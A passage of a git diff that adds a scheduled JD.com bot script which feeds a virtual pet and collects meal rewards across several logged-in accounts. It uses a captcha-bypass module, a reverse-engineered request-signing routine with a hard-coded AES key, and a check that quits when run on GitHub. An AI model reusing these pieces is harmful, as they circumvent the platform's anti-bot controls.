e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_joy_feedPets.js b/jd_joy_feedPets.js new file mode 100755 index 0000000..ecf7eb3 --- /dev/null +++ b/jd_joy_feedPets.js @@ -0,0 +1,377 @@ +/* +宠汪汪喂食(如果喂食80g失败,降级一个档次喂食(40g),依次类推),三餐,建议一小时运行一次 +更新时间:2021-6-6 +活动入口:京东APP我的-更多工具-宠汪汪 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#京东宠汪汪喂食 +15 0-23/1 * * * jd_joy_feedPets.js, tag=京东宠汪汪喂食, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdcww.png, enabled=true + +==============Loon=============== +[Script] +cron "15 0-23/1 * * *" script-path=jd_joy_feedPets.js,tag=京东宠汪汪喂食 + +=========Surge============= +[Script] +京东宠汪汪喂食 = type=cron,cronexp="15 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_joy_feedPets.js + +===============小火箭========== +京东宠汪汪喂食 = type=cron,script-path=jd_joy_feedPets.js, cronexpr="15 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('宠汪汪🐕喂食'); +const zooFaker = require('./JDJRValidator_Pure'); +$.get = zooFaker.injectToRequest2($.get.bind($)); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let jdNotify = true;//是否开启静默运行。默认true开启 +let message = '', subTitle = ''; +const JD_API_HOST = 'https://jdjoy.jd.com' +let FEED_NUM = ($.getdata('joyFeedCount') * 1) || 40; //喂食数量默认10g,可选 10,20,40,80 , 其他数字不可. + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await $.wait(100); + // await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}******\n`); + // if (!$.isLogin) { + // $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + // + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + // continue + // } + message = ''; + subTitle = ''; + if ($.isNode()) { + if (process.env.JOY_FEED_COUNT) { + if ([0, 10, 20, 40, 80].indexOf(process.env.JOY_FEED_COUNT * 1) > -1) { + FEED_NUM = process.env.JOY_FEED_COUNT ? process.env.JOY_FEED_COUNT * 1 : FEED_NUM; + } else { + console.log(`您输入的 JOY_FEED_COUNT 为非法数字,请重新输入`); + } + } + } + $.validate = ''; + // const zooFaker = require('./utils/JDJRValidator_Pure'); + // $.validate = await zooFaker.injectToRequest() + await feedPets(FEED_NUM);//喂食 + await ThreeMeals();//三餐 + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdJoyNotify') ? $.getdata('jdJoyNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + //$.msg($.name, subTitle, `【京东账号${$.index}】${$.UserName}\n` + message); + } +} +function feedPets(feedNum) { + return new Promise(async resolve => { + console.log(`您设置的喂食数量::${FEED_NUM}g\n`); + if (FEED_NUM === 0) { console.log(`跳出喂食`); resolve(); return } + console.log(`实际的喂食数量::${feedNum}g\n`); + let opt = { + url: `//jdjoy.jd.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F`, + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.get(options, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + if ($.data.success) { + if ($.data.errorCode === 'feed_ok') { + console.log('喂食成功') + message += `【喂食成功】${feedNum}g\n`; + } else if ($.data.errorCode === 'time_error') { + console.log('喂食失败:正在食用') + message += `【喂食失败】您的汪汪正在食用\n`; + } else if ($.data.errorCode === 'food_insufficient') { + console.log(`当前喂食${feedNum}g狗粮不够, 现为您降低一档次喂食\n`) + if ((feedNum) === 80) { + feedNum = 40; + } else if ((feedNum) === 40) { + feedNum = 20; + } else if ((feedNum) === 20) { + feedNum = 10; + } else if ((feedNum) === 10) { + feedNum = 0; + } + // 如果喂食设置的数量失败, 就降低一个档次喂食. + if ((feedNum) !== 0) { + await feedPets(feedNum); + } else { + console.log('您的狗粮已不足10g') + message += `【喂食失败】您的狗粮已不足10g\n`; + } + } else { + console.log(`其他状态${$.data.errorCode}`) + } + } else { + console.log(`喂食失败:${JSON.stringify($.data)}\n`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve($.data); + } + }) + }) +} + +//三餐 +function ThreeMeals() { + return new Promise(resolve => { + let opt = { + url: "//jdjoy.jd.com/common/pet/getFood?taskType=ThreeMeals&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F", + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + if (data.errorCode === 'received') { + console.log(`三餐结果领取成功`) + message += `【三餐】领取成功,获得${data.data}g狗粮\n`; + } + } + } catch (e) { + $.logErr(resp, e); + } finally { + resolve(data); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taroRequest(e) { + const a = $.isNode() ? require('crypto-js') : CryptoJS; + const i = "98c14c997fde50cc18bdefecfd48ceb7" + const o = a.enc.Utf8.parse(i) + const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); + let _o = { + "AesEncrypt": function AesEncrypt(e) { + var n = a.enc.Utf8.parse(e); + return a.AES.encrypt(n, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).ciphertext.toString() + }, + "AesDecrypt": function AesDecrypt(e) { + var n = a.enc.Hex.parse(e) + , t = a.enc.Base64.stringify(n); + return a.AES.decrypt(t, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).toString(a.enc.Utf8).toString() + }, + "Base64Encode": function Base64Encode(e) { + var n = a.enc.Utf8.parse(e); + return a.enc.Base64.stringify(n) + }, + "Base64Decode": function Base64Decode(e) { + return a.enc.Base64.parse(e).toString(a.enc.Utf8) + }, + "Md5encode": function Md5encode(e) { + return a.MD5(e).toString() + }, + "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" + } + + const c = function sortByLetter(e, n) { + if (e instanceof Array) { + n = n || []; + for (var t = 0; t < e.length; t++) + n[t] = sortByLetter(e[t], n[t]) + } else + !(e instanceof Array) && e instanceof Object ? (n = n || {}, + Object.keys(e).sort().map(function (t) { + n[t] = sortByLetter(e[t], n[t]) + })) : n = e; + return n + } + const s = function isInWhiteAPI(e) { + for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { + var i = n[a]; + e.includes(i) && !t && (t = !0) + } + return t + } + + const d = function addQueryToPath(e, n) { + if (n && Object.keys(n).length > 0) { + var t = Object.keys(n).map(function (e) { + return e + "=" + n[e] + }).join("&"); + return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t + } + return e + } + const l = function apiConvert(e) { + for (var n = r, t = 0; t < n.length; t++) { + var a = n[t]; + e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) + } + return e + } + + var n = e + , t = (n.header, + n.url); + t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; + var _a = function getTimeSign(e) { + var n = e.url + , t = e.method + , a = void 0 === t ? "GET" : t + , i = e.data + , r = e.header + , m = void 0 === r ? {} : r + , p = a.toLowerCase() + , g = _o.keyCode + , f = m["content-type"] || m["Content-Type"] || "" + , h = "" + , u = +new Date(); + return h = "get" !== p && + ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? + _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : + _o.Md5encode("_" + g + "_" + u), + s(n) && (n = d(n, { + "lks": h, + "lkt": u + }), + n = l(n)), + Object.assign(e, { + "url": n + }) + }(e = Object.assign(e, { + "url": t + })); + return _a +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if 